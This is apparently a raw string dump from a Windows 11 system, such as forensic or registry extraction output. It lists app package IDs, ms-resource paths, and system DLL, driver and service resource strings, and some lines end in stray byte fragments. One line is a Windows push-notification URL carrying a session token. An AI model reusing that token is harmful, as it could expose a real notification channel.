MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHub
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!FESearchUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.FeatureDiscoverability
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.IrisService
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleExperiencePlatform
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PeopleWidget
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.PersonaCardManager
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperience
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPersonaCard
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!InputApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!aicontext
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.AppListBackup
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.BackupBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.FamilyValueProp
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.MicrosoftGraphRecentItemsManager
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SnapLayout
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.StartMenu
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.TwinSxS
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.ValueBanner
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.Client.Core_cw5n1h2txyewy!LogonWebHost
MicrosoftWindows.Client.Core_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Core_cw5n1h2txyewy!ScreenClipping
MicrosoftWindows.Client.Core_cw5n1h2txyewy!SettingsModelService
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
client.wns.windows.com
https://wns2-ln2p.notify.windows.com/?token=AwYAAADgNtXJcOJlQymmPYjxerMKPxNuCz2vnci87%2fwwYo91T%2bntEWYooxyW2fjoMgJl2XiC%2bwnnIdtOtDGICTRpsOnwnNzxaFpAsZrzGJ5F81hNauNFC7vpqXbdbCljeIAQYlY%3d
Microsoft.Windows.OneSettingsClient_cw5n1h2txyewy
@{C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}2\fil
02@{C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.PeopleExperienceHost_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PkgDisplayName}gedi
@{C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}overyD
@{C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppName/Text}em32\p
@{C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}o
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy%5Cresources.priS\syst
@{C:\Windows\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName}
.d@{C:\Windows\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDisplayName}
ir@{C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
ND@{C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDescription}t%\sy
C:%5CWindows%5CSystemApps%5CShellExperienceHost_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PkgDisplayName}
@{C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/Description}
@{C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/TileDisplayName}
C:%5CWindows%5CSystemApps%5CMicrosoft.Win32WebViewHost_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}
@{C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/Description}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.AppRep.ChxApp_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDescription}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/appDescription}
@{C:\Program Files\WindowsApps\Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
@{C:\Program Files\WindowsApps\Microsoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Program Files\WindowsApps\Microsoft.Windows.Photos_24.24070.23002.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName/Text}
@{C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///LensSDK/Resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///LensSDK/Resources/AppTitle}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Inffile}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Inifile}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Ps1file}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Psd1file}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Psm1file}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/FileTypeDisplayName_Txtfile}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/AppDisplayName_Notepad}
@{C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2501.31.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/AppDescription_Notepad}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName/Text}
@{C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/StoreDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName}
@{C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
@{C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppShortName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Xbox.TCUI_1.23.28005.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.Xbox.TCUI_1.23.28005.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/DisplayName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/DisplayName}
@{C:\Program Files\WindowsApps\Microsoft.XboxIdentityProvider_12.130.2510.6003_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PublisherDisplayName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.117.15001.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource://Microsoft.YourPhone/YourPhone/Resources/AppName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName}
@{C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
@{C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PlayAudioCDAutoPlayDisplayName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoftCorporationII.QuickAssist_2.0.35.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\MicrosoftCorporationII.QuickAssist_2.0.35.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource://MicrosoftCorporationII.QuickAssist/resources/APP_WINDOW_NAME}
C:%5CProgram Files%5CWindowsApps%5CMicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy%5Cresources.pri
@{C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy\resources.pri? ms-resource:///resources/PkgDisplayName}
@{C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy\resources.pri? ms-resource:///WidgetBoard/Resources/AppDisplayName}
@{C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.9_x64__cw5n1h2txyewy\resources.pri? ms-resource:///WidgetBoard/Resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy%5Cresources.pri
@{C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\resources.pri? ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/PackageName}
@{C:\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\resources.pri? ms-resource://MicrosoftWindows.CrossDevice/CrossDeviceComponentStub/Resources/AppName}
@C:\WINDOWS\system32\psr.exe,-1701
@C:\WINDOWS\system32\comres.dll,-3410
@C:\WINDOWS\system32\mycomput.dll,-300
@C:\WINDOWS\system32\dfrgui.exe,-103
@C:\WINDOWS\system32\miguiresource.dll,-101
@C:\WINDOWS\system32\iscsicpl.dll,-5001
@C:\WINDOWS\system32\MdSched.exe,-4001
@C:\WINDOWS\system32\odbcint.dll,-1693
@C:\WINDOWS\system32\odbcint.dll,-1694
@C:\WINDOWS\system32\wdc.dll,-10021
@C:\WINDOWS\system32\pmcsnap.dll,-700
@C:\WINDOWS\system32\RecoveryDrive.exe,-500
@C:\WINDOWS\regedit.exe,-16
@C:\WINDOWS\system32\wdc.dll,-10030
@C:\WINDOWS\system32\wsecedit.dll,-718
@C:\WINDOWS\system32\filemgmt.dll,-2204
@C:\WINDOWS\system32\msconfig.exe,-5006
@C:\WINDOWS\system32\msinfo32.exe,-100
@C:\WINDOWS\system32\miguiresource.dll,-201
@C:\WINDOWS\System32\AuthFWGP.dll,-20
@C:\WINDOWS\system32\Taskmgr.exe,-32420
@C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe,-102
@C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe,-101
@%systemroot%\system32\drivers\AppvStrm.sys,-101
@%systemroot%\system32\drivers\AppvVemgr.sys,-101
@%systemroot%\system32\drivers\AppvVfs.sys,-101
@%systemroot%\system32\mprmsg.dll,-32000@
@%SystemRoot%\system32\drivers\cnghwassist.sys,-100
@%SystemRoot%\system32\drivers\dam.sys,-100
@%SystemRoot%\System32\Drivers\ExecutionContext.sys,-101X
@%SystemRoot%\system32\drivers\filetrace.sys,-10001
@%SystemRoot%\system32\drivers\fsdepends.sys,-10001
@%systemroot%\system32\drivers\hwpolicy.sys,-1018
@%SystemRoot%\system32\drivers\IndirectKmd.sys,-100
@%systemroot%\system32\mprmsg.dll,-320138
@%systemroot%\system32\webclnt.dll,-104
@%SystemRoot%\system32\bridgeres.dll,-1
@%SystemRoot%\system32\drivers\mshidumdf.sys,-100
@%SystemRoot%\system32\drivers\msquic.sys,-200
@%SystemRoot%\system32\drivers\msquicprev.sys,-200
@%SystemRoot%\System32\Drivers\mssecflt.sys,-1001
@%SystemRoot%\System32\Drivers\mssecwfp.sys,-1001
@%SystemRoot%\System32\drivers\nwifi.sys,-101
@%SystemRoot%\System32\drivers\ndisimplatform.sys,-501
@%systemroot%\system32\mprmsg.dll,-32001H
@%systemroot%\system32\mprmsg.dll,-32002@
@%systemroot%\system32\mprmsg.dll,-32014P
@%SystemRoot%\system32\drivers\ndproxy.sys,-6000(
@%SystemRoot%\System32\drivers\p9rdr.sys,-100
@%systemroot%\system32\mprmsg.dll,-320060
@%SystemRoot%\system32\drivers\qwavedrv.sys,-1
@%systemroot%\system32\mprmsg.dll,-32005
@%systemroot%\system32\mprmsg.dll,-32007@
@%systemroot%\system32\sstpsvc.dll,-202
@%SystemRoot%\System32\DRIVERS\rdpdr.sys,-100
@%SystemRoot%\System32\drivers\scfilter.sys,-11
@%SystemRoot%\system32\drivers\tsusbflt.sys,-1000
@%SystemRoot%\System32\drivers\tunnel.sys,-500
@%systemroot%\system32\drivers\UevAgentDriver.sys,-101
@%SystemRoot%\System32\drivers\VerifierExt.sys,-1000
@%systemroot%\system32\mprmsg.dll,-32011@
@%systemroot%\system32\mprmsg.dll,-32012@
@%SystemRoot%\system32\drivers\wimmount.sys,-101x
@%SystemRoot%\system32\drivers\winnat.sys,-100010
@%systemroot%\System32\drivers\WpdUpFltr.sys,-100
@%SystemRoot%\system32\drivers\Wudfpf.sys,-1000
@%SystemRoot%\system32\drivers\WudfRd.sys,-1000
@%SystemRoot%\system32\drivers\ztdns.sys,-100
Windows Security Health
@%SystemRoot%\system32\windows.staterepository.dll,-1
@%SystemRoot%\system32\netprofmsvc.dll,-202
@%SystemRoot%\system32\cdpsvc.dll,-100
@%systemroot%\system32\WSAIFabricHost.dll,-102
@%SystemRoot%\system32\wpnservice.dll,-1X
@%systemroot%\system32\usermgr.dll,-100
@%SystemRoot%\system32\sppsvc.exe,-101
@%SystemRoot%\system32\audiosrv.dll,-200 
@%SystemRoot%\system32\cryptsvc.dll,-1001
@%SystemRoot%\system32\WpnUserService.dll,-1
@%systemroot%\system32\tokenbroker.dll,-100
@%SystemRoot%\System32\shsvcs.dll,-122888
@%SystemRoot%\system32\CapabilityAccessManager.dll,-1
@%SystemRoot%\system32\InstallService.dll,-200
@%SystemRoot%\system32\ClipSVC.dll,-103
@%SystemRoot%\system32\cbdhsvc.dll,-100
@%SystemRoot%\system32\bfe.dll,-1001
@%windir%\system32\bisrv.dll,-100
@%SystemRoot%\system32\coremessaging.dll,-1
@%systemroot%\system32\dps.dll,-500
@%SystemRoot%\System32\dusmsvc.dll,-1
@%SystemRoot%\system32\wevtsvc.dll,-200
@%systemroot%\system32\FntCache.dll,-100@
@%SystemRoot%\system32\iphlpsvc.dll,-500
@%systemroot%\system32\srvsvc.dll,-100
@%systemroot%\system32\wkssvc.dll,-100
@%SystemRoot%\system32\lmhsvc.dll,-101
@%windir%\system32\lsm.dll,-10010
@%SystemRoot%\system32\FirewallAPI.dll,-23090
@%SystemRoot%\system32\appxdeploymentserver.dll,-1
@%SystemRoot%\system32\AudioEndpointBuilder.dll,-204
@%SystemRoot%\system32\ncbservice.dll,-500
@%SystemRoot%\system32\nsisvc.dll,-200
@%SystemRoot%\system32\umpnpmgr.dll,-200 
@%SystemRoot%\system32\umpo.dll,-100
@%SystemRoot%\system32\PrintDeviceConfigurationService.dll,-3
@%systemroot%\system32\profsvc.dll,-300
@%SystemRoot%\system32\RMapi.dll,-1001
@%windir%\system32\RpcEpMap.dll,-1001
@%systemroot%\system32\dosvc.dll,-100
@%SystemRoot%\system32\inventorysvc.dll,-501
@%SystemRoot%\System32\moshost.dll,-100
@%SystemRoot%\System32\StorSvc.dll,-100
@%systemroot%\system32\usosvc.dll,-101
@%SystemRoot%\system32\whesvc.dll,-100
@%systemroot%\system32\wuaueng.dll,-105
@%SystemRoot%\system32\NetSetupSvc.dll,-3
@%SystemRoot%\system32\DeviceSetupManager.dll,-1000
@%SystemRoot%\System32\wersvc.dll,-100
@%SystemRoot%\system32\Microsoft.Bluetooth.UserService.dll,-101
@%SystemRoot%\system32\CaptureService.dll,-100
@%SystemRoot%\system32\CloudRestoreLauncher.dll,-100
@%SystemRoot%\system32\ConsentUxClient.dll,-100
@%SystemRoot%\system32\CredentialEnrollmentManager.exe,-100
@%systemroot%\system32\dcsvc.dll,-101
@%SystemRoot%\system32\deviceaccess.dll,-107
@%SystemRoot%\system32\umpnpmgr.dll,-1008
@%SystemRoot%\system32\Windows.Devices.Picker.dll,-1006
@%SystemRoot%\system32\DevicesFlowBroker.dll,-103
@%SystemRoot%\System32\Microsoft.Graphics.Display.DisplayEnhancementService.dll,-1000
@%systemroot%\system32\fhsvc.dll,-101
@%systemroot%\system32\FrameServerMonitor.dll,-100
@%SystemRoot%\system32\LanguageOverlayServer.dll,-100
@%SystemRoot%\system32\MessagingService.dll,-100(
@%SystemRoot%\system32\msimsg.dll,-27
@%SystemRoot%\system32\npsm.dll,-100
@%SystemRoot%\system32\APHostRes.dll,-10002
@%systemroot%\system32\p9rdrservice.dll,-102
@%SystemRoot%\system32\PenService.dll,-100
@%SystemRoot%\system32\UserDataAccessRes.dll,-15001
@%SystemRoot%\system32\PrintWorkflowService.dll,-100
@%SystemRoot%\system32\pushtoinstall.dll,-200
@%SystemRoot%\System32\sensorservice.dll,-1000
@%SystemRoot%\System32\SessEnv.dll,-1026@
@%SystemRoot%\system32\UserDataAccessRes.dll,-10003
@%SystemRoot%\system32\UserDataAccessRes.dll,-14001
@%SystemRoot%\system32\w32time.dll,-200
@%systemroot%\system32\webthreatdefusersvc.dll,-100
@%SystemRoot%\system32\flightsettings.dll,-103
@%systemroot%\system32\Windows.Management.Service.dll,-100
@%SystemRoot%\System32\Microsoft.Data.UsageAndQualityInsights.dll,-100
@%SystemRoot%\system32\powrprof.dll,-15
@%SystemRoot%\system32\powrprof.dll,-14
@%SystemRoot%\system32\powrprof.dll,-13
@%SystemRoot%\system32\powrprof.dll,-12
@%SystemRoot%\system32\powrprof.dll,-11
@%SystemRoot%\system32\coremessaging.dll,-2
@%SystemRoot%\system32\cryptsvc.dll,-1002#
@%systemroot%\system32\cscsvc.dll,-201
@%systemroot%\system32\dcsvc.dll,-102c
@%SystemRoot%\system32\defragsvc.dll,-102
@%SystemRoot%\system32\das.dll,-101
@%SystemRoot%\System32\ReFsDedupSvc.exe,-101
@%Systemroot%\system32\mprdim.dll,-201
@%SystemRoot%\System32\RDXService.dll,-257
@%SystemRoot%\system32\RMapi.dll,-1002
@%windir%\system32\RpcEpMap.dll,-1002=
@%systemroot%\system32\Locator.exe,-3
@%SystemRoot%\system32\samsrv.dll,-2X
@%SystemRoot%\System32\SCardSvr.dll,-5
@%SystemRoot%\system32\umpnpmgr.dll,-101H
@%SystemRoot%\system32\DevQueryBroker.dll,-101
@%SystemRoot%\system32\dhcpcore.dll,-101
@%systemroot%\system32\DiagSvc.dll,-101
